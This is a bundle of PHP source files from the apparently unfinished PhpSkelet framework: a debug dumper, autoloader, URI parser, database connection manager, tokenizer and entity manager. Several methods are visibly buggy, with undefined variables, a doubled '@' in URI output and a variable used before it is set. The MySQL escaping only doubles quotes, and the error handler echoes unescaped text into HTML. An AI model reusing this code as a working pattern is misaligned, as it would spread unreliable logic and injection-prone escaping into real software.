{
// private static $id_generator = 1;
//
// /**
// * Get html document unique id
// */
// protected function genDomId()
// {
// return 'debug_'.(self::$id_generator++);
// }
private static $instance = null;
/**
* Singleton method
* @return Debug get singleton instance
*/
public static function getInstance()
{
return (self::$instance !== null) ? self::$instance : (self::$instance = new Debug());
}
public static $max_recurse_depth = 8;
private static $recurse_depth = 0;
/**
* Dump variable into formatted XHTML string
* @param mixed $var
* @return string - formatted XHTML
*/
public function dump(&$var, $magic_helper = false)
{
if($var === null)
$result = $this->dump_null();
else if(is_bool($var))
$result = $this->dump_bool($var);
else if(is_string($var))
$result = $this->dump_string($var);
else if(is_int($var))
$result = $this->dump_int($var);
else if(is_float($var))
$result = $this->dump_float($var);
else if(is_array($var) || is_object($var))
{
if(self::$recurse_depth >= self::$max_recurse_depth)
return 'Recursion depth limit reached';
self::$recurse_depth++;
if(is_array($var))
$result = $this->dump_array($var, $magic_helper);
else
$result = $this->dump_object($var);
self::$recurse_depth--;
}
else if(is_resource($var))
$result = 'resource';
else
$result = '???';
return $result;
}
/**
* Dump array values separated by comma
* @param unknown_type $var
*/
public function dump_array_comma(array &$var)
{
$parts = array();
foreach($var as $key=>$val)
{
if(is_integer($key))
{
$parts[] = $this->dump($val);
}
else
{
$parts[] = $this->dump($key).'=>'.$this->dump($val);
}
}
return join(', ', $parts);
}
protected function writeSpan($content, $color='000', $styles='')
{
return '<span style="font-family:Monospace;color:#'.$color.';'.$styles.'">'
.str_replace(array("\n", ' '), array('<br/>', ' '), htmlspecialchars($content))
.'</span>';
}
protected function dump_null()
{
return $this->writeSpan('null', 'c60', 'font-weight:bold;');
}
protected function dump_bool($var)
{
return $this->writeSpan($var ? 'true' : 'false', $var ? '0a0' : 'f00', 'font-weight:bold;');
}
protected function dump_string($var)
{
/*
if(strlen($var) > 80)
{
// TODO
}
else
*/
return $this->writeSpan(var_export($var, true), '060');
}
protected function dump_int($var)
{
return $this->writeSpan(var_export($var, true), '008', 'font-weight:bold;');
}
protected function dump_float($var)
{
return $this->writeSpan(var_export($var, true), '804', 'font-weight:bold;');
}
private $recurse_detection = array();
public function dump_array_table(&$var, $magic_helper=false)
{
if(false !== array_search($var, $this->recurse_detection, true))
return 'Recursive dependency detected';
array_push($this->recurse_detection, $var);
$result = '<table style="border:1px black solid; margin:0 0 3pt 10pt; padding:0 0 0 3pt; valign:top;">'."\r\n";
foreach($var as $k=>$v)
{
if($magic_helper && substr($k, 0, 3) === '___')
$result .= '<tr style="border: 1px black dashed"><td style="vertical-align:top; font-weight:bolder; font-family:Monospace;">'.substr($k, 3).'</td><td>'.$this->dump($v, true)."</td></tr>\r\n";
else
$result .= '<tr style="border: 1px black dashed"><td style="vertical-align:top">'.$this->dump($k).'</td><td>'.$this->dump($v, true)."</td></tr>\r\n";
}
if($var !== array_pop($this->recurse_detection))
throw new RuntimeException('Inconsistent state');
$result .= "</table>\r\n";
return $result;
}
public function dump_object_table(&$var)
{
$array = (array)$var;
$cls = get_class($var);
$result = array();
$result['___protected'] = array();
$privatestr = '___private '.$cls.' ';
$result[$privatestr] = array();
foreach($array as $k=>&$v)
{
$expl = explode("\0", $k);
if(count($expl) == 1)
$result['___'.$k]=&$v;
else if ($expl[1] == '*')
$result['___protected']['___'.$expl[2]]=&$v;
else if ($cls === $expl[1])
$result[$privatestr]['___'.$expl[2]]=&$v;
else
$result['___private '.$expl[1]]['___'.$expl[2]]=&$v;
}
ksort($array);
return $this->dump_array_table($result, true);
}
public function dump_array(&$var, $magic_helper = false)
{
$len = count($var);
if($len === 0 && $var === array())
return '<span style="font-family:Monospace;color:#004;font-weight:bold;">array<small>(empty)</small></span>';
$js = 'javascript:this.nextSibling.style.display = (this.nextSibling.style.display == "none")?"block":"none"';
$result = '<span onclick="'.htmlentities($js).'" style="font-family:Monospace;cursor:pointer;"><span style="color:#004;font-weight:bold;">array</span><small>('.$len.')</small></span>';
$result .= '<div style="display:none;">'.$this->dump_array_table($var, $magic_helper).'</div>';
return $result;
}
public function dump_object(&$var)
{
$classname = get_class($var);
$js = 'javascript:this.nextSibling.style.display = (this.nextSibling.style.display == "none")?"block":"none"';
$result = '<span onclick="'.htmlentities($js).'" style="font-family:Monospace;cursor:pointer;"><span style="color:#004;font-weight:bold;"><small>class </small>'.$classname.'</span></span>';
$result .= '<div style="display:none;">'.$this->dump_object_table($var).'</div>';
return $result;
}
/**
* Register handlers via set_error_handler and set_exception_handler
*/
public function registerErrorHandlers()
{
set_error_handler(array($this,'errorHandler'), 0x7fffffff);
set_exception_handler(array($this,'exceptionHandler'));
}
/**
* Default error handler
* @param int $errno The first parameter, errno, contains the level of the error raised, as an integer.
* @param string $errstr The second parameter, errstr, contains the error message, as a string.
* @param string[optional] $errfile The third parameter is optional, errfile, which contains the filename that the error was raised in, as a string.
* @param int[optional] $errline The fourth parameter is optional, errline, which contains the line number the error was raised at, as an integer.
* @param array[optional] $errcontext The fifth parameter is optional, errcontext, which is an array that points to the active symbol table at the point the error occurred. In other words, errcontext will contain an array of every variable that existed in the scope the error was triggered in. User error handler must not modify error context.
*/
public function errorHandler($errno, $errstr, $errfile = null, $errline = null, array $errcontext = null)
{
echo "<div class=\"error$errno\" style=\"font-family:Monospace;\">ERROR $errno: \"$errstr\" in $errfile at line $errline<br /><code><pre>";
//echo htmlspecialchars(print_r($errcontext, true));
echo '</pre></code></div>';
// fallback must be set to false when you want to run default handler
$fallback = !((ini_get('error_reporting') & $errno) | ($errno & (E_ERROR | E_RECOVERABLE_ERROR | E_USER_ERROR)));
return $fallback;
}
/**
* Default exception handler
* @param Exception $exception
*/
public function exceptionHandler(Exception $exception)
{
echo '<div class="error" style="font-family:Monospace;">'.$this->dump($exception).': '.$exception->getMessage().'</div>';
}
}
<file_sep><?php
/**
* Autoloader
*
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
require_once __DIR__.'/../Patterns/Singleton.php';
// specific exception
class AutoloaderException extends PhpSkeletException { }
class PhpSkeletAutoloader extends Singleton
{
public static $throw_on_failure = false;
protected $classes = array();
/**
* Register class definition file for autoloader
* @param string $classname Class to be registered
* @param array $file Codebase file of the class
* @param bool[optional] $override default false - set new codebase for class
* @throws PhpSkeletException
*/
public function register($classname, $file, $override = false)
{
if(!$override && isset($this->classes[$classname]))
throw new PhpSkeletException("Class '$classname' is alredy registered in file '".$this->classes[$classname]['pathname']."'");
if(!is_array($file))
$file = array('pathname'=>$file);
$this->classes[$classname] = $file;
}
/**
* Load requested class,
* optionally throw an exception as configured by PhpSkeletAutoloader::$throw_on_failure
*
* @param string $classname name of the class
* @throws AutoloaderException
*/
public function load($classname)
{
$filename = $this->getClassFilePathname($classname);
if($filename === null)
{
if(self::$throw_on_failure)
throw new AutoloaderException("Class '$classname' is not registered in autoloader");
else
return false;
}
if(!is_file($filename))
{
if(self::$throw_on_failure)
throw new AutoloaderException("Class '$classname' is registered but file '$filename' does not exists!");
else
return false;
}
require_once $filename;
return true;
}
/**
* Get path of source file with class definition
* @param string $classname
* @return string pathname of source file with class or NULL if class not found
*/
public function getClassFilePathname($classname)
{
if(!isset($this->classes[$classname]))
return null;
return $this->classes[$classname]['pathname'];
}
/**
* Get info about class definition
* @param string $classname
* @return array
*/
public function getClassInfo($classname)
{
if(!isset($this->classes[$classname]))
return null;
return $this->classes[$classname];
}
/**
* Get all registered classes with metadata
*/
public function getRegisteredClasses()
{
return $this->classes;
}
}
<file_sep><?php
/**
* URI (Uniform Resource Identifier as described in RFC3986)
*
* @author langpavel
*
*/
class URI extends SafeObject
{
// ONLY COMMON protocol port numbers; ordered by port number
const DEFAULT_PORT_FTP = 21;
const DEFAULT_PORT_TELNET = 23;
const DEFAULT_PORT_HTTP = 80;
//const DEFAULT_PORT_NEWS = 119; // do anyone use this? If yes, send mail to core[at]phpskelet[dot]org
//const DEFAULT_PORT_NNTP = 119; // do anyone use this? If yes, send mail to core[at]phpskelet[dot]org
const DEFAULT_PORT_HTTPS = 443;
// port -> protocol name
private static $defaultPortScheme = array(
// ordered by port number
self::DEFAULT_PORT_FTP => 'ftp',
self::DEFAULT_PORT_TELNET => 'telnet',
self::DEFAULT_PORT_HTTP => 'http',
//self::DEFAULT_PORT_NNTP => 'nntp', // do anyone use this? If yes, send mail to core[at]phpskelet[dot]org
//self::DEFAULT_PORT_NEWS => 'news', // duplicit with nntp
self::DEFAULT_PORT_HTTPS => 'https',
);
// protocol name -> port
private static $defaultSchemePort = array(
// ordered by port number
'ftp' => self::DEFAULT_PORT_FTP,
'telnet' => self::DEFAULT_PORT_TELNET,
'http' => self::DEFAULT_PORT_HTTP,
//'nntp' => self::DEFAULT_PORT_NNTP, // do anyone use this? If yes, send mail to core[at]phpskelet[dot]org
//'news' => self::DEFAULT_PORT_NEWS, // do anyone use this? If yes, send mail to core[at]phpskelet[dot]org
'https' => self::DEFAULT_PORT_HTTPS,
);
// this statics represents current server request
public static $currentHost = null;
public static $currentScheme = null; // http or https
public static $currentPort = null;
public static $currentUser = null;
public static $currentPass = null;
private static $currentURI = null;
//public static $use_parens_for_query_arrays = false;
// keep this names same as return of parse_url()
private $scheme = null; //e.g. http
private $host = null;
private $port = null;
private $user = null;
private $pass = null;
private $path = null;
//private $query = null; // do not use this
private $fragment = null; // after the hashmark #
private $query_parts = array(); // after the question mark ?
static function __static_construct()
{
if(isset($_SERVER['HTTP_HOST']))
self::$currentHost = $_SERVER['HTTP_HOST'];
else if(isset($_SERVER['SERVER_NAME']))
self::$currentHost = $_SERVER['SERVER_NAME'];
else
throw new PhpSkeletCoreBugException();
if(isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) != 'off')
self::$currentScheme = 'https';
else
self::$currentScheme = 'http';
if(isset($_SERVER['SERVER_PORT']))
self::$currentPort = (int) $_SERVER['SERVER_PORT'];
else
throw new PhpSkeletCoreBugException();
if(isset($_SERVER['PHP_AUTH_USER']))
self::$currentUser = $_SERVER['PHP_AUTH_USER'];
if(isset($_SERVER['PHP_AUTH_PW']))
self::$currentPass = $_SERVER['PHP_AUTH_PW'];
}
/**
* check if $value is instance of URI, else create new URI from $value
*/
public static function get($value)
{
if($value instanceof URI)
return $value;
return new URI($value);
}
/**
* Get port number by scheme name
* @return int or null
*/
static function getPortByScheme($scheme_name)
{
return isset(self::$defaultSchemePort[$scheme_name])
? self::$defaultSchemePort[$scheme_name]
: null;
}
/**
* Get scheme name by port number
* @return string or null
*/
static function getSchemeByPort($port_no)
{
return isset(self::$defaultPortScheme[$port_no])
? self::$defaultPortScheme[$port_no]
: null;
}
function __construct($uri = null)
{
parent::__construct();
if($uri !== null)
$this->parse($uri);
}
public function parse($uri)
{
$uri_parts = @parse_url($uri);
if($uri_parts === false)
throw new InvalidArgumentException('URI is too malformed');
foreach ($uri_parts as $key => $val)
if($key == 'query')
$this->setQuery($val);
else
$this->$key = $val;
}
public static function getCurrent()
{
if(self::$currentURI !== null)
return clone self::$currentURI;
self::$currentURI = new URI($_SERVER['REQUEST_URI'], true);
// TODO: static configuration of not transient GET query parameters
if(isset($_SERVER['QUERY_STRING']))
self::$currentURI->setQuery($_SERVER['QUERY_STRING']);
self::$currentURI->setHost(self::$currentHost);
self::$currentURI->setPort(self::$currentPort);
self::$currentURI->setScheme(self::$currentScheme);
self::$currentURI->setUser(self::$currentUser);
self::$currentURI->setPass(self::$currentPass);
return clone self::$currentURI;
}
public static function combine($uri1, $uri2)
{
// TODO
throw new NotImplementedException();
if($uri1 === null)
$uri1 = URI::getCurrent();
}
/* output representation */
/**
* Returns this URI with absolute path.
* @param string|URI $current_uri current path. It's used if this instance is relative URI
* @return string
*/
public function getAbsolute($current_uri = null)
{
$path = $this->path;
if($path === null && ($scheme == 'http' || $scheme == 'https' ))
$path = '/';
else if($path == '' || $path[0] != '/')
return (string) self::combine($current_uri, $this);
$scheme = $this->getScheme(true);
if($scheme == null)
$scheme = self::$currentScheme;
$query = $this->getQuery();
return $scheme . '://' . $this->getAuthority() . $path
.(($query != '') ? ('?'.$query) : '')
.(($this->fragment != '') ? ('#'.$this->fragment) : '');
}
/**
* Returns the [user[:pass]@]host[:port] part of URI.
* @return string
*/
public function getAuthority()
{
$host = $this->getHost();
if($host === null)
$host = self::$currentHost;
$default_port = self::getPortByScheme($this->scheme);
if($this->port !== null && $default_port !== null && $default_port != $this->port)
$server = $host .':'. $this->port;
else
$server = $host;
$userinfo = '';
if($this->user != '')
{
$userinfo = ($this->pass != '')
? $this->user .':'. $this->pass .'@'
: $this->user .'@';
return $userinfo.'@'.$server;
}
return $server;
}
function __toString()
{
try
{
return $this->getAbsolute();
}
catch(Exception $err)
{
return "[Invalid URI:$err]";
}
}
/* properties */
/**
* Get value of query
* @return mixed query
*/
public function getQuery($part = null, $default = null)
{
if($part !== null)
return isset($this->query_parts[$part]) ? $this->query_parts[$part] : $default;
// TODO
if(empty($this->query_parts) || ($part !== null && !isset($this->query_parts[$part])))
return '';
$result = http_build_query($this->query_parts, '', '&');
// not so clever, can destroy data!
//if(self::$use_parens_for_query_arrays)
// $result = preg_replace(
// array('#(\\[|%5B)#i', '#(\\]|%5D)#i'),
// array('(', ')'), $result);
return $result;
}
/**
* Set value of query
* @param mixed $value query
* @return URI self
*/
public function setQuery($value = null)
{
if(is_array($value))
$this->query_parts = $value;
else if($value == null)
$this->query_parts = array();
else
parse_str($value, $this->query_parts);
return $this;
}
/**
* Set value of query
* @param mixed $value query
* @return URI self
*/
public function appendQuery($value)
{
if(is_array($value))
{
$this->query_parts = array_merge_recursive_simple($this->query_parts, $value);
}
else
{
$val = array();
parse_str($value, $val);
$this->query_parts = array_merge_recursive_simple($this->query_parts, $val);
}
return $this;
}
/**
* Get value of scheme
* @return mixed scheme
*/
public function getScheme($decide_from_port = false)
{
if($this->scheme == '' && $decide_from_port)
return self::getSchemeByPort($this->port);
return $this->scheme;
}
/**
* Set value of scheme
* @param mixed $value scheme
* @return URI self
*/
public function setScheme($value = null) { $this->scheme = $value; return $this; }
/**
* Get value of host
* @return mixed host
*/
public function getHost() { return $this->host; }
/**
* Set value of host
* @param mixed $value host
* @return URI self
*/
public function setHost($value) { $this->host = $value; return $this; }
/**
* Get value of port
* @return mixed port
*/
public function getPort($decide_from_scheme = false)
{
if($this->port === null && $decide_from_scheme)
return self::getPortByScheme($this->scheme);
return $this->port;
}
/**
* Set value of port
* @param mixed $value port
* @return URI self
*/
public function setPort($value = null) { $this->port = $value; return $this; }
/**
* Get value of user
* @return mixed user
*/
public function getUser() { return $this->user; }
/**
* Set value of user
* @param mixed $value user
* @return URI self
*/
public function setUser($value = null) { $this->user = $value; return $this; }
/**
* Get value of pass
* @return mixed pass
*/
public function getPass() { return $this->pass; }
/**
* Set value of pass
* @param mixed $value pass
* @return URI self
*/
public function setPass($value = null) { $this->pass = $value; return $this; }
/**
* Get value of path
* @return mixed path
*/
public function getPath() { return $this->path; }
/**
* Set value of path
* @param mixed $value path
* @return URI self
*/
public function setPath($value) { $this->path = $value; return $this; }
/**
* Get value of fragment
* @return mixed fragment
*/
public function getFragment() { return $this->fragment; }
/**
* Set value of fragment
* @param mixed $value fragment
* @return URI self
*/
public function setFragment($value = null) { $this->fragment = $value; return $this; }
/* END properties */
} URI::__static_construct();
<file_sep><?php
/**
*
*
* @author <NAME> (<EMAIL>)
* @tag "Core classes"
*/
abstract class View extends HttpResponse implements IView
{
private $request;
public function __construct(HttpRequest $request)
{
parent::__construct();
$this->request = $request;
}
}
<file_sep><?php
/**
* Singleton manager of available connections.
*
* Connection properties are stored in global array
* $GLOBALS['CONFIG']['DB'][$profile][$connection_name].
* $profile and $connection_name is determined 'default' if ommited,
*
* @author <NAME> (<EMAIL>)
*/
class ConnectionManager extends Singleton
{
private $connections = array();
/**
* Get connection (existing or create new)
* @param string[optional] $connection_name
* @param string[optional] $profile_name
*/
public function get($connection_name = null, $profile_name = null)
{
if($profile_name === null)
$profile_name = 'default';
if($connection_name === null)
$connection_name = 'default';
if(!isset($this->connections[$profile_name])
|| !isset($this->connections[$profile_name][$connection_name]))
return $this->createConnection($connection_name, $profile_name);
return $this->connections[$profile_name][$connection_name];
}
/**
* Create new connection and register it.
* @param string[optional] $connection_name
* @param string[optional] $profile_name
* @throws ApplicationException if connection already created
*/
private function createConnection($connection_name = null, $profile_name = null)
{
if($profile_name === null)
$profile_name = 'default';
if($connection_name === null)
$connection_name = 'default';
if(!isset($this->connections[$profile_name]))
$this->connections[$profile_name] = array();
if(isset($this->connections[$profile_name][$connection_name]))
$this->connections[$profile_name][$connection_name]->disconnect();
if(!isset($GLOBALS['CONFIG']['DB'][$profile_name][$connection_name]))
throw new ApplicationException("Configuration for connection [$connection_name] at profile [$profile_name] not found");
return $this->connections[$profile_name][$connection_name] =
dibi::connect($GLOBALS['CONFIG']['DB'][$profile_name][$connection_name]);
}
}
<file_sep><?php
require_once __DIR__.'/SourceFile.php';
class PhpSourceFile extends SourceFile
{
private $tokens = null;
public function __construct($filename, $extension=null)
{
if(!$filename instanceof SplFileInfo)
$filename = new SplFileInfo($filename);
parent::__construct($filename, $extension/*, 'php'*/);
}
public function getTokens()
{
if($this->tokens !== null)
return $this->tokens;
if(!is_file($this->pathname))
throw new PhpSkeletException("Requested codebase file '".$this->pathname."' not found");
return $this->tokens = token_get_all(file_get_contents($this->pathname));
}
/**
* Primary use of this is for AutoloaderGenerator class
* @return array of associative arrays with keys name, type(class/interface), 'implements', 'extends', 'final', 'abstract'
*/
public function findDefinedClasses()
{
$class_match_proto = array('name'=>null, 'type'=>'class', 'extends'=>array(), 'implements'=>array(), 'final'=>false, 'abstract'=>false);
$result = array();
$class = $class_match_proto;
$detected = 0;
$tokens = $this->getTokens();
foreach($tokens as $wholetoken)
{
if(is_array($wholetoken))
list($token, $text) = $wholetoken;
else
$token = $text = $wholetoken;
// process tokens
if($token === T_COMMENT)
continue;
if($token === T_FINAL)
$class['final'] = true;
if($token === T_ABSTRACT)
$class['abstract'] = true;
if($token === T_CLASS)
$detected = 1;
if($token === T_INTERFACE)
{
$detected = 1;
$class['type'] = 'interface';
}
if($detected === 1 && $token === T_STRING)
{
$class['name'] = $text;
$detected = 2;
}
if($detected >= 2 && $token === T_EXTENDS)
{
$detected = 3;
$key = 'extends';
}
if($detected >= 2 && $token === T_IMPLEMENTS)
{
$detected = 3;
$key = 'implements';
}
if($detected === 3 && $token === T_STRING)
{
$class[$key][] = $text;
}
if($token === ';' || $token === '{')
{
if($detected > 0)
{
$detected = 0;
$result[] = $class;
$class = $class_match_proto;
}
$class['final'] = false;
$class['abstract'] = false;
}
}
return $result;
}
public function getHighlightedSource()
{
echo '<code class="php_source">'."<span class=\"nl\"></span>";
$pair_id_stack = array();
foreach($this->getTokens() as $wholetoken)
{
if(is_array($wholetoken))
list($token, $text) = $wholetoken;
else
$token = $text = $wholetoken;
$tclass = is_int($token) ? strtolower(token_name($token)) : 't_'.bin2hex($token);
//$esc_text = str_replace(array("\r\n","\n"), array("<br />\r\n","<br />\n"), htmlspecialchars($esc_text));
$esc_text = str_replace("\t", " ", $text);
$esc_text = htmlspecialchars($esc_text);
$esc_text = str_replace("\n", "\n<span class=\"nl\"></span>", $esc_text);
switch($token)
{
// whitespace is not encapsulated to span
case T_WHITESPACE:
echo $esc_text;
continue 2; // TO CONTINUE FOREACH
// all block opening tokens
case T_OPEN_TAG:
case T_OPEN_TAG_WITH_ECHO:
case '(':
case T_CURLY_OPEN:
case T_DOLLAR_OPEN_CURLY_BRACES:
//case T_STRING_VARNAME: // this not correct !
case '{':
array_push($pair_id_stack, $id = get_document_unique_id());
echo '<span id="o'.$id.'" class="t pto '.$tclass."\">$esc_text</span><span class=\"ptm\">";
continue 2; // TO CONTINUE FOREACH
// all block closing tokens
case T_CLOSE_TAG:
case ')':
case '}':
echo '</span><span id="c'.array_pop($pair_id_stack).'" class="t ptc '.$tclass."\">$esc_text</span>";
continue 2; // TO CONTINUE FOREACH
// other tokens
default:
echo '<span class="t '.$tclass."\">$esc_text</span>";
continue 2; // TO CONTINUE FOREACH
}
}
while(!empty($pair_id_stack))
echo '</span><span id="c'.array_pop($pair_id_stack).'" class="t ptc t_eof"></span>';
echo "\n</code>";
}
// TODO: function findDefinedFunctions()
// public function findDefinedFunctions()
// {
// $function_match_proto = array('name'=>null, 'type'=>'function', 'extends'=>array(), 'implements'=>array(), 'final'=>false, 'abstract'=>false);
// $result = array();
// $function = $function_match_proto;
// $detected = 0;
// foreach($this->tokens as $wholetoken)
// {
// if(is_array($wholetoken))
// list($token, $text) = $wholetoken;
// else
// $token = $text = $wholetoken;
//
// // process tokens
// if($token === T_COMMENT)
// continue;
//
// switch($token)
// {
// case T_FINAL:
// break;
//
// case T_ABSTRACT:
// break;
//
// case T_CLASS:
// break;
//
// case T_INTERFACE:
// break;
//
// case T_FUNCTION:
// break;
//
// }
// }
// }
}
<file_sep><?php
/**
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet license.
*/
// this file does not use PhpSkelet autoloader for good reason ;-)
if(!defined('PHPSKELET_AUTOLOADER_ENABLED'))
define('PHPSKELET_AUTOLOADER_ENABLED', false);
require_once __DIR__.'/../PhpSkelet.php';
require_once __DIR__.'/SourceGenerator.php';
require_once __DIR__.'/Source/PhpSourceFile.php';
class AutoloaderGenerator extends SourceGenerator
{
private $dirs = array();
private $extensions = array();
private $classes_paths = array();
public function __construct()
{
parent::__construct();
$this->addExtension('php'/*, 'php3', 'phtml'*/);
}
public function addPath($path, $recursive = true)
{
$path = realpath($path);
$this->dirs[] = array($path, $recursive);
}
public function addExtension($file_extension)
{
$exts = func_get_args();
foreach($exts as $ext)
$this->extensions[] = $ext;
}
public function writeIncludes()
{
$this->writeLn();
$this->writeLn('// require autoloader class');
$this->writeLn("require_once __DIR__.'/../Classes/PhpSkeletAutoloader.php';");
}
public function process()
{
$this->beginSourceFile();
$this->writeIncludes();
$this->writeLn();
$this->writeLn('$autoloader = PhpSkeletAutoloader::getInstance();');
foreach($this->dirs as $dir)
{
list($path, $recursive) = $dir;
$this->processPath($path, $recursive);
}
$this->writeLn("\r\nspl_autoload_register(array(\$autoloader, 'load'));\r\n");
$this->writeAmbiguous();
}
private function writeAmbiguous()
{
foreach($this->classes_paths as $class=>$files)
{
if(!is_array($files))
continue;
$this->writeLn('// WARNING: Class "'.$class.'" defined in multiple files:');
foreach($files as $file)
$this->writeLn('// at file '.$file);
}
}
private function isSourceFile($file)
{
$extensionpos = strrpos($file, '.');
if($extensionpos === false)
return false;
$extension = substr($file, $extensionpos+1);
return array_search($extension, $this->extensions) !== false;
}
private function processPath($path, $recursive)
{
try
{
$diriter = new DirectoryIterator(realpath($path));
foreach($diriter as $entry)
{
// filter parent dirs and unix hidden files and dirs
if($entry->isDot() || substr($entry->getBaseName(),0,1) === '.')
continue;
$source_filename = realpath($entry->getPathName());
if($entry->isDir())
{
if(!$recursive)
continue;
$this->writeLn();
$this->writeLn('// DIR: '.$source_filename);
$this->processPath($source_filename, $recursive);
continue;
}
if(!$this->isSourceFile($source_filename))
continue;
$this->writeLn('// File: '.$source_filename);
$this->processFile($source_filename);
}
}
catch (Exception $err)
{
$this->writeLn('/*****************************************************
ERROR: '.$err.'
*/');
}
}
public function processFile($pathname)
{
gc_collect_cycles();
$phpreader = new PhpSourceFile($pathname);
$classes = $phpreader->findDefinedClasses();
foreach($classes as $classinfo)
{
$colision = false;
$classname = $classinfo['name'];
$colision = isset($this->classes_paths[$classname]);
if($colision)
{
$v =& $this->classes_paths[$classname];
$this->writeLn('// WARNING - class name collision');
if(is_array($v))
$v[] = $pathname;
else
$v = array($v, $pathname);
}
else
$this->classes_paths[$classname] = $pathname;
$modif = ($classinfo['abstract'] ? 'abstract ' : ($classinfo['final'] ? 'final ' : ''));
//ddd($modif, $classinfo);
$extends = (count($classinfo['extends'])) ? ' extends '.implode(', ', $classinfo['extends']) : '';
$implements = (count($classinfo['implements'])) ? ' implements '.implode(', ', $classinfo['extends']) : '';
$classinfo['pathname'] = $pathname;
$comment = '// '.$modif.'class '.$classname.$extends.$implements.';';
if($colision) $this->writeLn("/*");
$this->writeLn("\$autoloader->register(".var_export($classname, true).", ".var_export($classinfo, true).'); '.$comment);
if($colision) $this->writeLn("*/");
}
}
public function getClassesPaths()
{
return $this->classes_paths;
}
}
<file_sep><?php
class MySQLQueryBuilder extends QueryBuilder
{
public function escapeIdentifier($identifier)
{
if(is_array($identifier))
return '`'.implode('`.`', $identifier).'`';
return '`'.$identifier.'`';
}
public function escapeString($value)
{
return "'".str_replace("'","''",$value)."'";
}
}<file_sep><?php
abstract class Widget extends Composite
{
private $name = null;
public function __construct($name = null, $parent = null)
{
if($parent === null && $name instanceof Composite)
{
$parent = $name;
$name = null;
}
parent::__construct($parent);
$this->setChildClass(__CLASS__);
if($name !== null)
$this->setName($name);
}
}
<file_sep><?php
final class ReflectionMixin extends SafeObject
{
public static function getPropertiesAsArray($instance, $recursive = false)
{
throw new NotImplementedException();
}
}<file_sep><?php
/**
* @author <NAME> (<EMAIL>)
*/
class RequestDispatcherRegex extends RequestDispatcher
{
private $urls = array();
public function __construct()
{
parent::__construct();
}
public function register($url_regex, $view, $name = null)
{
$urls[] = array($url_regex, $view, $name);
}
public function dispatch(HttpRequest $request)
{
foreach($urls as $matchee)
{
$matches = array();
if(preg_match($matchee[0], $url, $matches))
{
$result = $matchee[1];
if(is_string($result))
$result = new $result($matches);
if($result instanceof IRequestDispatcher)
$result = $result->dispatch($request);
if($result instanceof IView)
return $result;
}
}
return null;
}
}
<file_sep><?php
abstract class ApplicationHook extends SafeObject implements IApplicationHook
{
public function __construct()
{
parent::__construct();
}
function init(Application $app)
{
return true;
}
function resolveRequest(Application $app)
{
return false;
}
function run(Application $app)
{
return true;
}
function finish(Application $app)
{
return true;
}
}
<file_sep><?php
/**
* Use DbNull::$value or DbNull::getInstance() to get value
*
* This class represents database null value that behave as true value for isset.
* WARNING
* UNFORTUNATELY cast to bool in if() expression, is_null(), RETURNS TRUE;
* empty() RETURNS FALSE
* There is function isnull, that returns true for instace of DbNull.
*
* @author <NAME> (<EMAIL>)
*/
final class DbNull implements ISingleton, ISqlValue
{
/**
* @var DbNull
*/
public static $value;
/**
* private constructor blocks
*/
private function __construct()
{
}
/**
* @return DbNull
*/
public static function getInstance()
{
if(DbNull::$value === null)
DbNull::$value = new DbNull();
return DbNull::$value;
}
/**
* Return SQL safe representation - simple string NULL (without quotes)
* @return string NULL
*/
public function toSql()
{
return 'NULL';
}
} DbNull::getInstance();
<file_sep><?php
/**
*
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
require_once __DIR__.'/../PhpSkelet.php';
function test_RecursiveDirectoryIterator($dir)
{
$realdir = realpath($dir);
if($realdir === false)
throw new InvalidArgumentException('Directory not exists or not accessible: "'.$dir.'"');
$r_dir_iter = new RecursiveDirectoryIterator($realdir,
RecursiveDirectoryIterator::CURRENT_AS_FILEINFO |
RecursiveDirectoryIterator::SKIP_DOTS
);
$recur_iter = new RecursiveIteratorIterator($r_dir_iter);
foreach($recur_iter as $finfo)
{
$basename = $finfo->getBasename();
$extensionpos = strrpos($basename, '.');
if($extensionpos === false)
continue;
$extension = substr($basename, $extensionpos+1);
if(strtolower($extension) != 'php')
continue;
echo "'$finfo' - $extension <br/>";
}
}
test_RecursiveDirectoryIterator('..');
<file_sep><?php
/**
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
require_once __DIR__.'/Object.php';
/**
* Safe object class - deny setting and reading of undeclared properties
* @author <NAME>
*/
abstract class SafeObject extends Object
{
// implicit behavior
// public function __isset( $name )
// {
// return isset($this->name);
// }
/**
* Magic method __unset is forbidden
* @param string $name
* @throws InvalidPropertyAccessException
* @see SafeObjectMixin::objectUnset
*/
public function __unset($name)
{
SafeObjectMixin::objectUnset($this, $name);
}
/**
* Magic method __set is forbidden
* @param string $name
* @param mixed $value
* @throws InvalidPropertyAccessException
* @see SafeObjectMixin::objectSet
*/
public function __set($name, $value)
{
SafeObjectMixin::objectSet($this, $name, $value);
}
/**
* Magic method __get, allow cal to method "get$name" if exists.
* Usefull for template rendering
* @param string $name
* @throws InvalidPropertyAccessException
* @see SafeObjectMixin::objectGet
*/
public function __get($name)
{
return SafeObjectMixin::objectGet($this, $name);
}
}<file_sep><?php
final class EntityManager extends Singleton
{
/**
* all possible entityIds and aliases as keys to array(db_table, className, entityId, connection_profile)
*/
private $entities = array();
/**
* all currently loaded instances
*/
private $instances = array();
private function getEntityProperty($entity, $key)
{
if($entity instanceof Entity)
$entity = get_class($entity);
if(is_string($entity))
{
if(!isset($this->entities[$entity]))
throw new InvalidArgumentException("Cannot resolve entity propert for '$entity'");
return $this->entities[$entity][$key];
}
else
throw new InvalidArgumentException('Cannot resolve entity property from '.get_type($entity));
}
/**
* get database table name of entity
*/
public function getEntityTable($entity)
{
return $this->getEntityProperty($etity, 0);
}
/**
* get class name of entity
*/
public function getEntityClass($entity)
{
return $this->getEntityProperty($etity, 1);
}
/**
* get entityID of entity
*/
public function getEntityId($entity)
{
return $this->getEntityProperty($etity, 2);
}
public function registerEntity($db_table, $entity_class = null, $entityId = null, $connection_profile = null)
{
if(is_array($db_table))
{
$entity_class = isset($db_table['class']) ? $db_table['class'] : null;
$entityId = isset($db_table['id']) ? $db_table['id'] : null;
$db_table = $db_table['table'];
}
if($entity_class === null)
$entity_class = $db_table;
